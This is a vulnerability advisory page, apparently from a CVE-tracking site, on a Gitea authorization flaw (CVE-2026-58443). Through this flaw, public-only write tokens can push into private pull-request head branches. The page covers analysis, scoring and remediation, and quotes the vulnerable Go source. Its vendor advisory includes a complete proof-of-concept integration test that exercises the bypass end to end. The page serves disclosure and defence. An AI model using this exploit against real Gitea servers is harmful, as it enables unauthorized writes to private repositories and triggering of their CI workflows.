Skip to main content

Gitea CVE-2026-58443

| EUVDEUVD-2026-58170 CRITICAL
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-xxjv-752h-3vp2
9.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain public-only,write:repository token
  2. Delivery
    Open PR from private head into public base repo
  3. Exploit
    POST /pulls/{index}/update on public base route
  4. Execution
    Public-only check evaluates only public base and passes
  5. Persist
    Gitea pushes base commits into private head branch
  6. Impact
    Private repo push workflow (Actions) triggered

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of: a valid Gitea API token holding both the public-only and write:repository scopes; the token's underlying user account must have normal write/push permission on the private head branch (ordinary RBAC still gates the push itself); a public base repository the attacker can route through; and an existing GitHub-style pull request (not AGit flow) whose head is the private repository, with the pull-requests unit enabled on the base repo. The limiting factor that contradicts the vendor's PR:N rating is that this is not anonymous access - the attacker must already control a write-scoped token for a user with head-branch write access; the vulnerability is a scope-confinement bypass that lets that token exceed its intended public-only boundary, not a path for an unauthenticated outsider.

Impact

The vendor CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, score 9.1) rates this critical with no privileges required, but the advisory's own Impact section contradicts PR:N: the attacker must already possess a valid public-only,write:repository token for a user who holds normal write permission on the private head branch - verify with vendor, as real exploitation is authenticated, not anonymous. Other signals point to moderate rather than emergency priority: EPSS is only 0.24% (16th percentile), it is NOT in CISA KEV (no confirmed active exploitation), and confidentiality impact is genuinely N - this is an integrity/write primitive, not data theft. No SSVC decision data was provided. Publicly available exploit code exists, raising practical exploitability, but the precondition of an already-privileged account token means this is best treated as a token scope-confinement escape rather than an internet-wide unauthenticated compromise. The A:H the vendor assigned is arguable; the demonstrated effect is integrity plus opportunistic Actions execution.

Exploit ScenarioDerived

An attacker who has obtained a user's public-only,write:repository token (for example a leaked CI token believed safe because it is confined to public repos) opens a pull request from that user's private repository into a public base repository, then calls the public /pulls/{index}/update endpoint. Given AV:N/AC:L, this single authenticated request causes Gitea to push the public base commits into the private head branch and, because Actions is enabled there, queue the private repository's push workflow - exactly as the advisory's proof-of-concept observes via a new ActionRun and ActionRunJob.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 14, 2026

Broken authorization in Gitea (self-hosted Git server) versions before 1.27.0 lets a token scoped as public-only,write:repository push commits into a private pull-request head branch it should never touch. Because Gitea only evaluates the public-only restriction against the public base repository named in the route (POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update) and never re-applies it to the private head repository, an attacker holding such a token can force a server-side write into the private repo and, where Actions is enabled, trigger its push workflow. This is CWE-863 incorrect authorization; a publicly available exploit code exists in the vendor advisory, EPSS is low at 0.24%, and it is not listed in CISA KEV.

Earlier versions of this analysis (1)
v1 Jul 21, 2026 - 21:05 CVSS 9.6

Broken authorization in Gitea before 1.27.0 lets a token scoped as public-only,write:repository push commits into a PRIVATE repository via the PR head-branch update endpoint, defeating the public-only restriction the token was granted. An attacker holding such a token (for an account with normal write access to the private head branch) uses the public base repo's route POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update to force public base commits into the private head branch - a write the same token is denied when attempted directly. A detailed proof-of-concept is published in the vendor advisory; there is no public exploit identified as actively exploited in the wild.

RemediationAI

Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later, which re-applies the public-only token restriction to the pull-request head repository (https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2 and https://github.com/go-gitea/gitea/releases/tag/v1.27.0). Until you can upgrade, audit and revoke any access tokens that combine the public-only scope with write:repository, since only those tokens can trigger the flaw and they are relatively uncommon, making this a low-impact control. As a stronger compensating measure, block POST requests to /api/v1/repos/*/pulls/*/update at a reverse proxy, accepting that this disables the legitimate 'Update branch' API for all users. Where private repositories have Actions enabled, temporarily disable Actions on sensitive private head repositories to prevent attacker-triggered workflow execution, at the cost of pausing legitimate CI on those repos.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea attaches its pull-request API routes under a repository route group whose checkTokenPublicOnly() guard inspects only ctx.Repo.Repository, i.e. the base repository identified by the URL. When a PR update is requested, UpdatePullRequest() resolves the PR, loads the head repository, and delegates the push-permission decision to pull_service.IsUserAllowedToUpdate(), which calls isUserAllowedToPushOrForcePushInRepoBranch() against pull.HeadRepo using ordinary account RBAC. That RBAC check answers 'can this user write here' but never asks 'is the active API token permitted to reach this repository', so the public-only token restriction is silently dropped for the private head repo. The update service then builds a reverse PullRequest and calls doMergeAndPush(), producing a real git push into the private head branch. The affected package is pkg:go/code.gitea.io/gitea. The root-cause class, CWE-863 (Incorrect Authorization), is exactly this pattern: a missing secondary authorization on a resource reached indirectly through a permitted entry point.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 7.1 HIGH

Requires an authenticated write-scoped token whose user already has head-branch write access, so PR:L not PR:N; impact is a private-repo write (I:H), no data read (C:N), limited availability via triggered Actions (A:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE CRITICAL
Red Hat 9.6 CRITICAL

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Updated
Aug 14, 2026 - 20:29 vuln.today
v2 - CVSS changed
CVSS changed
Aug 14, 2026 - 20:22 NVD
9.6 (CRITICAL) 9.1 (CRITICAL)
CVE Published
Jul 21, 2026 - 20:38 github-advisory
CRITICAL 9.6

DescriptionCVE.org

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

text
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

go
// routers/api/v1/api.go:1358-1394
					m.Group("/pulls", func() {
						m.Combo("").Get(repo.ListPullRequests).
							Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
						m.Get("/pinned", repo.ListPinnedPullRequests)
						m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
						m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
						m.Group("/{index}", func() {
							m.Combo("").Get(repo.GetPullRequest).
								Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
							m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
							m.Post("/update", reqToken(), repo.UpdatePullRequest)
							m.Get("/commits", repo.GetPullRequestCommits)
							m.Get("/files", repo.GetPullRequestFiles)
							m.Combo("/merge").Get(repo.IsPullRequestMerged).
								Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
								Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
							m.Group("/reviews", func() {
								m.Combo("").
									Get(repo.ListPullReviews).
									Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
								m.Group("/{id}", func() {
									m.Combo("").
										Get(repo.GetPullReview).
										Delete(reqToken(), repo.DeletePullReview).
										Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
									m.Combo("/comments").
										Get(repo.GetPullReviewComments)
									m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
									m.Post("/undismissals", repo.UnDismissPullReview)
								})
							})
							m.Combo("/requested_reviewers", reqToken()).
								Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
								Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
						})
						m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
					}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
go
// routers/api/v1/api.go:1465-1466
				}, repoAssignment(), checkTokenPublicOnly())
			}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

go
// routers/api/v1/repo/pull.go:1220-1270
	pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
	if err != nil {
		if issues_model.IsErrPullRequestNotExist(err) {
			ctx.APIErrorNotFound()
		} else {
			ctx.APIErrorInternal(err)
		}
		return
	}

	if pr.HasMerged {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadIssue(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if pr.Issue.IsClosed {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadBaseRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if err = pr.LoadHeadRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
		ctx.Status(http.StatusForbidden)
		return
	}

	// default merge commit message
	message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

go
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
	if user == nil {
		return false, false, nil
	}
	if err := pull.LoadBaseRepo(ctx); err != nil {
		return false, false, err
	}
	if err := pull.LoadHeadRepo(ctx); err != nil {
		return false, false, err
	}

	// 1. check whether pull request enabled.
	prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
	if repo_model.IsErrUnitTypeNotExist(err) {
		return false, false, nil // the PR unit is disabled in base repo means no update allowed
	} else if err != nil {
		return false, false, fmt.Errorf("get base repo unit: %v", err)
	}

	// 2. only support Github style pull request
	if pull.Flow == issues_model.PullRequestFlowAGit {
		return false, false, nil
	}

	// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
	if err != nil {
		return false, false, err
	}

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

go
// services/pull/update.go:89-100
	reversePR := &issues_model.PullRequest{
		BaseRepoID: pr.HeadRepoID,
		BaseRepo:   pr.HeadRepo,
		BaseBranch: pr.HeadBranch,

		HeadRepoID: pr.BaseRepoID,
		HeadRepo:   pr.BaseRepo,
		HeadBranch: pr.BaseBranch,
	}

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
	return err

The result is a server-side private repository write performed through a public route.

PoC

go
import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"testing"
	"time"

	actions_model "code.gitea.io/gitea/models/actions"
	auth_model "code.gitea.io/gitea/models/auth"
	repo_model "code.gitea.io/gitea/models/repo"
	unit_model "code.gitea.io/gitea/models/unit"
	"code.gitea.io/gitea/models/unittest"
	user_model "code.gitea.io/gitea/models/user"
	"code.gitea.io/gitea/modules/gitrepo"
	api "code.gitea.io/gitea/modules/structs"
	webhook_module "code.gitea.io/gitea/modules/webhook"
	repo_service "code.gitea.io/gitea/services/repository"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, _ *url.URL) {
		doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

		baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
			Name:          "public-pr-update-base",
			Description:   "public base repository for public-only PR update PoC",
			AutoInit:      true,
			Readme:        "Default",
			DefaultBranch: "main",
			IsPrivate:     false,
		})
		require.NoError(t, err)

		headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
			BaseRepo:     baseRepo,
			Name:         "private-pr-update-head",
			Description:  "private head repository for public-only PR update PoC",
			SingleBranch: baseRepo.DefaultBranch,
		})
		require.NoError(t, err)
		require.NotNil(t, headRepo)
		require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
			RepoID: headRepo.ID,
			Type:   unit_model.TypeActions,
		}}, nil))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

		headBranch := "private-head-update"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: baseRepo.DefaultBranch,
			NewBranch: headBranch,
		}, map[string]string{
			"private-head-marker.txt": "private head branch marker",
		})
		const workflowID = "private-push.yml"
		const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: headBranch,
			NewBranch: headBranch,
		}, map[string]string{
			".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
		})

		require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
			ID:        headRepo.ID,
			IsPrivate: true,
		}, "is_private"))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
		require.True(t, headRepo.IsPrivate)
		baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

		session := loginUser(t, doer.Name)
		publicOnlyToken := getTokenForLoggedInUser(t, session,
			auth_model.AccessTokenScopePublicOnly,
			auth_model.AccessTokenScopeWriteRepository,
		)

		publicPath := "public-base-injected-into-private.txt"
		publicMarker := "FAULT-GITEA-062 public base content reached private head"
		createPublicBaseFile := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: baseRepo.DefaultBranch,
				Message:    "create public marker for private head update",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
		}
		req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusCreated)

		privatePath := "direct-private-write-should-fail.txt"
		directPrivateWrite := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: headBranch,
				Message:    "direct private write attempt",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusNotFound)

		prPayload := map[string]string{
			"title": "faultline public-only private head update",
			"base":  baseRepo.DefaultBranch,
			"head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
			AddTokenAuth(publicOnlyToken)
		resp := MakeRequest(t, req, http.StatusCreated)

		var pr api.PullRequest
		DecodeJSON(t, resp, &pr)
		require.Equal(t, prPayload["title"], pr.Title)

		gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
		require.NoError(t, err)
		defer gitRepo.Close()

		commit, err := gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		_, err = commit.GetBlobByPath(publicPath)
		require.Error(t, err)

		req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusOK)
		assert.Eventually(t, func() bool {
			return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
		}, 5*time.Second, 50*time.Millisecond)

		actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
			RepoID:     headRepo.ID,
			WorkflowID: workflowID,
		}, unittest.OrderBy("id DESC"))
		assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
		assert.Equal(t, "push", actionRun.TriggerEvent)
		assert.Equal(t, doer.ID, actionRun.TriggerUserID)
		assert.NotEmpty(t, actionRun.CommitSHA)

		job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
		assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

		commit, err = gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		blob, err := commit.GetBlobByPath(publicPath)
		require.NoError(t, err)
		content, err := blob.GetBlobContent(1024)
		require.NoError(t, err)
		assert.Equal(t, publicMarker, content)
	})
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

Executive ViewAI

Why It Matters

Gitea versions before 1.27.0 contain an authorization bypass that allows attackers possessing public-only API tokens to write commits into private repositories and trigger CI/CD workflows they should not access. Organizations running self-hosted Gitea with Actions enabled face risks of unauthorized code injection and supply chain compromise through pipeline manipulation. Patching to version 1.27.0 or later is required to close this critical scope-validation gap.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Medium
popular self-hosted Git server, common but niche versus GitHub/GitLab
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy